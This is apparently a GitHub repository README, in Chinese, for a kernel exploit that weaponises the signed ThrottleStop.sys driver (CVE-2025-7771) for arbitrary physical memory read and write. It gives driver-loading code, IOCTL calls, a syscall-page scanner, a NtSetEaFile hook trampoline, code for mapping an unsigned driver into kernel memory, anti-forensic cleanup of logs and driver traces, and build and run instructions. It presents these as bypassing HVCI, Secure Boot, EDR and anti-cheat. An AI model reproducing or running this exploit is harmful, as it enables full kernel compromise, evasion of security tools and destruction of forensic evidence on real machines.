D4rkks/CVE-2025-7771-Vulnerability-Exploration

GitHub: D4rkks/CVE-2025-7771-Vulnerability-Exploration

演示如何通过合法签名驱动 ThrottleStop 的物理内存 IOCTL 绕过 HVCI 与 Secure Boot,实现内核级权限提升。

Stars: 1 | Forks: 0

# 🔓 ThrottleStop.sys 内核漏洞利用 — HVCI 兼容的物理内存映射器 ## ⚠️ 免责声明 本项目仅出于**教育与研究目的**发布。目标是展示如何将已签名、可信的内核驱动程序武器化,以从管理员权限提升至 **SYSTEM/内核**,从而有效绕过现代 Windows 安全功能,包括 **HVCI(虚拟机强制代码完整性)** 和 **Secure Boot(安全启动)**。 **不得将此工具用于恶意目的。** 作者不对任何滥用行为负责。 ## 📋 目录 - [漏洞概述](#vulnerability-summary) - [受影响软件](#affected-software) - [技术分析](#technical-analysis) - [易受攻击的 IOCTL](#vulnerable-ioctls) - [根本原因](#root-cause) - [利用链](#exploitation-chain) - [步骤 1 — 加载易受攻击的驱动程序](#step-1--loading-the-vulnerable-driver) - [步骤 2 — 物理内存原语](#step-2--physical-memory-primitives) - [步骤 3 — 定位系统调用页](#step-3--locating-the-syscall-page) - [步骤 4 — 通过物理写入进行系统调用挂钩](#step-4--syscall-hooking-via-physical-write) - [步骤 5 — 任意内核代码执行](#step-5--arbitrary-kernel-code-execution) - [步骤 6 — 取证清理](#step-6--forensic-cleanup) - [为何这能绕过 HVCI](#why-this-bypasses-hvci) - [影响评估](#impact-assessment) - [构建与使用](#build--usage) - [缓解建议](#mitigation-recommendations) - [参考资料](#references) ## 漏洞概述 | 字段 | 说明 | |---|---| | **CVE** | CVE-2025-7771 | | **驱动** | `ThrottleStop.sys`(随 [ThrottleStop](https://www.techpowerup.com/download/techpowerup-throttlestop/) 一起发布) | | **供应商** | TechPowerUp / Kevin Glynn | | **类型** | 任意物理内存读/写 | | **影响** | 本地权限提升(管理员 → 内核) | | **CVSS** | 8.2(高危) | | **签名** | 通过 WHQL / Attestation 由 Microsoft 签名 | | **HVCI 绕过** | ✅ 是 — 驱动合法签名,被 CI 策略允许 | ## 受影响软件 - **ThrottleStop** — 所有随 `ThrottleStop.sys` 发布的版本,该驱动包含物理内存映射 IOCTL - **Windows 10** 1903 – 22H2(x64) - **Windows 11** 21H2 – 24H2(x64),包括启用了 **HVCI** 的版本 - 测试环境:Windows 11 26100.x(24H2),启用 Secure Boot + HVCI ## 技术分析 ### 易受攻击的 IOCTL `ThrottleStop.sys` 内核驱动暴露了一个设备(`\\.\ThrottleStop`),可被任何本地管理员访问。它实现了两个提供**无限制物理内存访问**的 IOCTL: ``` #define IOCTL_TS_READ_PHYS 0x80006498 // Read arbitrary physical address #define IOCTL_TS_WRITE_PHYS 0x8000649C // Write arbitrary physical address ``` #### 读取物理内存(`0x80006498`) ``` Input: ULONG64 PhysicalAddress (8 bytes) Output: Data buffer (1–8 bytes per call, determined by OutputBufferLength) ``` 驱动调用 `MmMapIoSpace()` 将请求的物理地址映射到内核虚拟空间,将数据复制到输出缓冲区,然后调用 `MmUnmapIoSpace()`。**不对物理地址执行任何验证**——可以读取物理地址空间中的任意地址。 #### 写入物理内存(`0x8000649C`) ``` Input: ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes) InputBufferLength = 8 + DataSize Output: None ``` 与读取机制相同,但将用户提供的数据写入映射的物理地址。同样**不执行地址或范围验证**。 ### 根本原因 该驱动的设计目的是允许 ThrottleStop(一个 CPU 降压/节流工具)直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了访问 PCI 配置空间或 CPU 温度传感器的 MMIO 而添加,但实现中**完全没有边界检查**: 1. ❌ 未检查物理地址属于 MMIO 还是 RAM 2. ❌ 未检查地址是否在调用者预期的内存范围内 3. ❌ 未实施除要求 `GENERIC_READ | GENERIC_WRITE` 句柄访问外的 ACL 限制 4. ❌ 未设置允许的物理地址范围白名单 这将一个合法硬件工具驱动程序转变为**完整的内核级读/写原语**。 ## 利用链 该利用链从本地管理员账户提升至**任意内核代码执行**,实际上实现了 ring-0 的 SYSTEM 级别控制。 ### 步骤 1 — 加载易受攻击的驱动程序 映射器将 `ThrottleStop.sys` 释放到 `%TEMP%`,在 `HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop` 下创建服务注册表项,并通过 `NtLoadDriver()` 加载它: ``` // Enable SeLoadDriverPrivilege for the current process driver::util::enable_privilege(L"SeLoadDriverPrivilege"); // Create service entry pointing to the dropped .sys file driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop"); // Load via NtLoadDriver NtLoadDriver(&driver_reg_path_unicode); // Open device handle CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...); ``` ### 步骤 2 — 物理内存原语 通过设备句柄,利用程序可以读写**系统中的任意物理地址**: ``` // Read 8 bytes from physical address 0x1000 ULONGLONG phys_addr = 0x1000; ULONGLONG data = 0; DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL); // Write 8 bytes to physical address UCHAR input[16]; *(ULONGLONG*)input = target_phys_addr; // address *(ULONGLONG*)(input + 8) = shellcode_qword; // data DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL); ``` 利用程序将这些操作封装为辅助函数,支持以 1、2、4 或 8 字节为单位的分块读写,实现任意长度的传输。 ### 步骤 3 — 定位系统调用页 为了执行任意内核函数,需要找到**系统调用处理器的物理地址**。它以 `NtSetEaFile` 为目标(这是一个很少被监控的系统调用): 1. **解析 RVA**:通过 `LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)` 在用户态加载 `ntoskrnl.exe`,获取 `NtSetEaFile` 的 RVA 2. **计算偏移**:由于 ntoskrnl 以 **2MB 大页** 映射,函数在 2MB 页内的物理偏移 = `RVA & 0x1FFFFF` 3. **扫描物理内存**:从注册表(`HARDWARE\RESOURCEMAP\System Resources\Physical Memory`)枚举物理内存范围,以 2MB 为步长遍历并比对字节: ``` for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000) { candidate_pa = phys_2mb + offset_in_2mb; read_phys(candidate_pa, &first8, 8); if (first8 == pattern_first8) // quick check { read_phys(candidate_pa, verify, 32); // full verify if (memcmp(verify, pattern, 32) == 0) { syscall_phys_addr = candidate_pa; // found it! // ... validate via PsGetProcessSectionBaseAddress } } } ``` 4. **验证**:调用被挂钩的系统调用,触发 `PsGetProcessSectionBaseAddress(current_pid)` 并验证返回的基址是否与 `GetModuleHandle(NULL)` 匹配。 ### 步骤 4 — 通过物理写入进行系统调用挂钩 一旦获得 `NtSetEaFile` 的物理地址,利用程序会通过物理内存写入安装一个**12 字节的跳板**: ``` ; Original NtSetEaFile bytes (saved for restoration) ; Replaced with: mov rax, ; 48 B8 <8-byte imm64> push rax ; 50 ret ; C3 ``` ``` // Install hook unsigned char jmp_code[12] = { 0x48, 0xB8, // mov rax, imm64 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 0x50, // push rax 0xC3 // ret }; memcpy(jmp_code + 2, &target_function, 8); write_phys(syscall_phys_addr, jmp_code, 12); // Trigger from usermode NtSetEaFile(args...); // → jumps to target_function in kernel! // Restore original bytes write_phys(syscall_phys_addr, saved_bytes, 12); ``` ### 步骤 5 — 任意内核代码执行 通过系统调用挂钩原语,利用程序可以**调用任意内核函数并传入任意参数**: ``` // Allocate executable kernel memory (HVCI-compatible) auto pool = syscall(ExAllocatePool2_addr, POOL_FLAG_NON_PAGED_EXECUTE, size, tag); // Copy driver image to kernel pool via RtlCopyMemory syscall(RtlCopyMemory_addr, pool, image_data, image_size); // Call the driver's DriverEntry syscall(entry_point, pool_base, image_size); ``` 这实际上**映射并执行了一个未签名的驱动程序**,实现了完整的权限提升。 ### 步骤 6 — 取证清理 加载有效载荷后,利用程序会清除所有痕迹: | 工件 | 清理方法 | |---|---| | **PiDDB 缓存** | 解锁 `PiDDBLock`,在 AVL 树中查找条目并通过 `RtlLookupElementGenericTableAvl` 解除链接并删除 | | **MmUnloadedDrivers** | 扫描 50 项环形缓冲区,匹配名称并清零条目 | | **BigPoolTable** | 扫描 `PoolBigPageTable` 查找分配虚拟地址,清零该项 | | **池头** | 将 `POOL_HEADER` 标签伪造为 `MmSt`(常见系统标签) | | **PE 头** | 清零 DOS/NT 头、导入目录、调试目录、可丢弃节 | | **注册表** | 删除 `HKLM\...\Services\ThrottleStop` 键树 | | **驱动文件** | 删除 `%TEMP%` 中的 `ThrottleStop.sys` | | **事件日志** | 清除系统和安全日志中的相关条目 | | **Prefetch / BAM** | 清理 ShimCache、BAM(后台活动调节器)和 Prefetch | ## 为何能绕过 HVCI **HVCI(Hypervisor-Enforced Code Integrity)** 通过第二级地址转换(SLAT/EPT)在内核虚拟页面上强制实施 W^X(写或执行),以防止未签名代码在内核空间执行。 此利用能绕过 HVCI 的原因如下 1. **合法驱动**:`ThrottleStop.sys` 已正确签名并通过 CI 验证,因此即使 HVCI 启用也能正常加载。 2. **物理访问而非虚拟**:IOCTL 使用 `MmMapIoSpace()`,它在物理地址上操作。HVCI 的保护是在虚拟页表级别通过 EPT 实施的,但 `MmMapIoSpace()` 会为物理页创建一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射所指向的 RAM 内容。 3. **可执行池内存**:利用程序通过 `ExAllocatePool2` 并指定 `POOL_FLAG_NON_PAGED_EXECUTE` 分配内存,这是**合法且 HVCI 批准的**获取可执行内核内存的方式。内核本身使用这种方式用于 JIT 编译代码和某些池分配。 4. **未加载未签名驱动**:映射器从未调用 `NtLoadDriver` 加载未签名镜像。相反,它将有效载荷手动写入已可执行的内核池内存,并通过系统调用挂钩调用其入口点。 ``` ┌─────────────────────────────────────────────┐ │ Usermode (Admin) │ │ │ │ 1. Load ThrottleStop.sys (signed, trusted) │ │ 2. Open \\.\ThrottleStop device │ │ 3. Read/Write physical memory via IOCTLs │ └──────────────┬──────────────────────────────┘ │ DeviceIoControl ▼ ┌─────────────────────────────────────────────┐ │ ThrottleStop.sys (Kernel) │ │ │ │ MmMapIoSpace(PhysAddr) → memcpy → unmap │ │ No validation, any physical address OK │ └──────────────┬──────────────────────────────┘ │ Physical Memory Write ▼ ┌─────────────────────────────────────────────┐ │ NtSetEaFile Physical Page │ │ │ │ Original bytes overwritten with: │ │ mov rax, ; push rax; ret │ │ │ │ → Any usermode NtSetEaFile() call now │ │ executes arbitrary kernel code │ └──────────────┬──────────────────────────────┘ │ Kernel Code Execution ▼ ┌─────────────────────────────────────────────┐ │ Full Kernel Compromise │ │ │ │ • ExAllocatePool2 (executable pool) │ │ • Map unsigned driver into kernel memory │ │ • Call DriverEntry → SYSTEM-level access │ │ • Scrub all forensic artifacts │ └─────────────────────────────────────────────┘ ``` ## 影响评估 | 类别 | 影响 | |---|---| | **机密性** | 🔴 完全 — 可读取任意内核/进程内存 | | **完整性** | 🔴 完全 — 可写入任意内核结构、挂钩任意函数 | | **可用性** | 🟡 高 — 不当写入会导致系统崩溃(BSOD) | | **身份验证绕过** | 🔴 从管理员获得 SYSTEM 权限 | | **反作弊绕过** | 🔴 绕过内核级反作弊(EAC、BattlEye、Vanguard) | | **EDR 绕过** | 🔴 在 EDR 钩子之下运行,可解除/禁用安全工具 | | **HVCI** | 🔴 通过合法驱动绕过 | | **Secure Boot** | 🔴 绕过(驱动具有有效签名) | ## 构建与使用 ### 要求 - Visual Studio 2022(带 C++ 桌面工作负载) - Windows SDK 10.0.26100.0+ - 目标计算机上的管理员权限 ### 构建 ``` git clone https://github.com//throttlestop-mapper.git cd throttlestop-mapper # 在 Visual Studio 中打开 imxyviMapper.sln # 生成 → x64 Release ``` ### 运行 ``` # 基本用法 — 自动扫描物理内存中的系统调用页面 mapper.exe payload_driver.sys # 使用预计算的 Kernel CR3(更快,跳过扫描) mapper.exe payload_driver.sys 1AD000 ``` ### 输出 ``` [+] Driver: 45056 bytes [*] Parsing PE... [+] PE OK: entry=0x3040 size=0xC000 [*] Loading vulnerable driver... [+] Driver loaded, handle=0x0000000000000094 [+] IOCTL OK [*] Finding syscall page... [+] Syscall page found [*] Fixing imports... [*] Allocating executable kernel pool (49152 bytes)... [+] Pool allocated at: FFFFA40B7C8E0000 [*] Writing driver to kernel... [*] Calling entry point at 0xFFFFA40B7C8E3040... [+] Entry point returned [*] Cleaning MmUnloadedDrivers... [+] MmUnloadedDrivers successfully scrubbed [*] Unloading vulnerable driver... [+] Done ``` ## 缓解建议 ### 对于 Microsoft / Windows 1. **驱动程序黑名单**:将 `ThrottleStop.sys` 的哈希值添加到 [Microsoft 易受攻击驱动程序黑名单](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) 2. **增强 HVCI**:阻止来自非白名单驱动程序的针对 RAM 支持物理地址的 `MmMapIoSpace` 调用 3. **IOCTL 审计**:在 WHQL 认证期间标记暴露原始物理内存原语的驱动程序 ### 对于 ThrottleStop 开发者 1. **移除物理内存 IOCTL** — 使用 MSR 专用 IOCTL(`rdmsr`/`wrmsr`)替代原始的 `MmMapIoSpace` 2. **实施地址白名单** — 限制 `MmMapIoSpace` 仅针对已知 MMIO 范围(PCI BAR 区域、LAPIC 等) 3. **添加 ACL 限制** — 将设备访问限制为 ThrottleStop 应用程序令牌的 SID ### 对于系统管理员 1. **WDAC 策略**:创建自定义 Windows Defender 应用程序控制(WDAC)策略,按哈希值阻止 `ThrottleStop.sys` 2. **监控驱动加载**:通过 Sysmon 事件 ID 6 警报异常的内核驱动加载 3. **移除 ThrottleStop**:如果不需要用于 CPU 管理,请卸载 ThrottleStop ## 参考资料 - **[Demoo1337/ThrottleStop — CVE-2025-7771 PoC](https://github.com/Demoo1337/ThrottleStop)** — 原始漏洞研究与利用 - [physmeme — 物理内存利用框架](https://github.com/xeroxz/physmeme)(MIT 许可,xerox/IDontCode) - [kdmapper — 内核驱动映射器](https://github.com/TheCruZ/kdmapper) - [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) - [HVCI 设计概述 — Microsoft](https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard) - [MmMapIoSpace — Microsoft 文档](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmapiospace) ## 许可证 本项目在 **MIT 许可证** 下发布,仅用于教育研究用途。底层 `physmeme` 框架版权归 2020 xerox 所有(MIT 许可证)。
标签:CVE-2025-7771, HVCI绕过, IOCTL漏洞, LPE, Secure Boot绕过, syscall hook, ThrottleStop, ThrottleStop.sys, UML, Web报告查看器, Windows内核, 内核hook, 内核代码执行, 内核漏洞, 内核级攻击, 内核驱动, 协议分析, 本地提权, 权限提升, 漏洞分析, 物理内存映射, 物理内存读写, 白帽子, 签名驱动武器化, 系统提权, 网络协议, 路径探测, 驱动安全